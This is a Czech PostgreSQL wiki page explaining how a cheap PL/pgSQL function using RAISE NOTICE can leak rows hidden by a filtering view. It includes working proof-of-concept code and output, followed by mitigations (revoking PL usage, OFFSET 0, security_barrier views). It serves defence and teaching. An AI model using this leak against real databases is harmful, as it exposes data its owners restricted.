Leak views

Z PostgreSQL
Přejít na: navigace, hledání

V případě, že se používají pohledy k omezení přístupu k určitým řádkům, lze zneužít PL/pgSQL (případně PL/Perl) k získání blokovaných dat.

Postup útoku je relativně jednoduchý - potřebujeme funkci, jejíž parametr je stejného typu jako hodnota, kterou chceme získat, a která vrací logickou hodnotu true. Uvnitř této použijeme ladící výstup pro zobrazení hodnoty parametru. Tato funkce musí mít velice nízkou cenu:

CREATE OR REPLACE FUNCTION public.fx(integer)
 RETURNS boolean
 LANGUAGE plpgsql
 COST 1e-05
AS $function$
begin
  raise notice '%', $1;
  return true;
end;
$function$ 

Připravíme si zdrojovou tabulku, která bude představovat chráněná data, a pohled, který bude zpřístupňovat liché řádky:

create table t(a int);
insert into t select generate_series(1,10);
create view v as select * from t where a % 2 = 1;

Běžný uživatel bude mít přístup pouze k pohledu v, tj. k lichým řádkům. Pokud útočník kompromituje běžný účet a připraví si funkci fx, pak díky optimalizaci získá obsah sudých řádků. Optimalizátor zjistí, že funkce fx slouží jako filtr a díky nízké ceně se snaží aplikovat tuto funkci co nejdříve - přičemž předběhne funkci, která filtruje obsah podle toho, zda-li je řádek sudý nebo lichý.

postgres=# select * from v;
 a 
---
 1
 3
 5
 7
 9
(5 rows)

postgres=# select * from v where fx(a);
NOTICE:  1
NOTICE:  2
NOTICE:  3
NOTICE:  4
NOTICE:  5
NOTICE:  6
NOTICE:  7
NOTICE:  8
NOTICE:  9
NOTICE:  10
 a 
---
 1
 3
 5
 7
 9
(5 rows)

Aktuálně se pracuje na "zamčení" definice pohledu, tak aby nebylo možné podstrčit vlastní funkci - problémem je, že uzamčení může mít negativní dopady na výkon. Předpokládá se, že v PostgreSQL 9.2 bude tento nežádoucí chování blokováno. Dokud ovšem tento problém nebude vyřešen, je nutné zajistit:

  • běžný aplikační uživatel nesmí mít možnost vytvářet kód v PL - tak aby kompromitace jeho účtu neohrozila db - což je nejjednodušší a efektivní řešení - přičemž se doporučuje pro vytváření uložených procedur a db objektů používat vyhrazený účet - a to jak pro z důvodů konzistence vlastnictví, tak nyní i z důvodů bezpečnostních.
  • pokud pro běžný účet nelze blokovat PL, pak dalším řešením je použití klauzule OFFSET 0 ve všech pohledech, které používáme pro filtrování obsahu z důvodu omezení přístupu k datům. Tím ovšem blokujeme i některé možné optimalizace (např. možného použití indexu).
-- ukazka nefunkcniho zabezpeceni
postgres=# explain select * from v where fx(a);
                    QUERY PLAN                    
--------------------------------------------------
 Seq Scan on t  (cost=0.00..46.00 rows=4 width=4)
   Filter: (fx(a) AND ((a % 2) = 1))

postgres=# drop view v;
DROP VIEW
postgres=# create view v as select * from t where a % 2 = 1 offset 0;
CREATE VIEW
postgres=# explain select * from v where fx(a);
                          QUERY PLAN                           
---------------------------------------------------------------
 Subquery Scan on v  (cost=0.00..46.12 rows=4 width=4)
   Filter: fx(v.a)
   ->  Limit  (cost=0.00..46.00 rows=12 width=4)
         ->  Seq Scan on t  (cost=0.00..46.00 rows=12 width=4)
               Filter: ((a % 2) = 1)

Pokud to je jen trochu možné, tak je použít první typ zabezpečení - pro vyhrazeného aplikačního uživatele zablokovat možnost vytvářet vlastní funkce:

REVOKE USAGE ON LANGUAGE plpgsql FROM public;

Poznamka - tento problém je vyřešen v 9.2 pomocí tzv. bezpečnostní bariéry:

CREATE OR REPLACE VIEW mysecview5 WITH (security_barrier=true) AS SELECT * FROM x WHERE a % 2 = 0;
postgres=# explain select * from mysecview5 where fx(a) and b between 10 and 30;
                                   QUERY PLAN                                   
--------------------------------------------------------------------------------
 Subquery Scan on mysecview5  (cost=0.00..19500.00 rows=8 width=8)
   Filter: (fx(mysecview5.a) AND (mysecview5.b >= 10) AND (mysecview5.b <= 30))
   ->  Seq Scan on x  (cost=0.00..19425.00 rows=5000 width=8)
         Filter: ((a % 2) = 0)
(4 rows)

Pro rozumný výkon tento typ pohledů vyžaduje podmíněné indexy s podmínkou odpovídající podmínce v pohledu.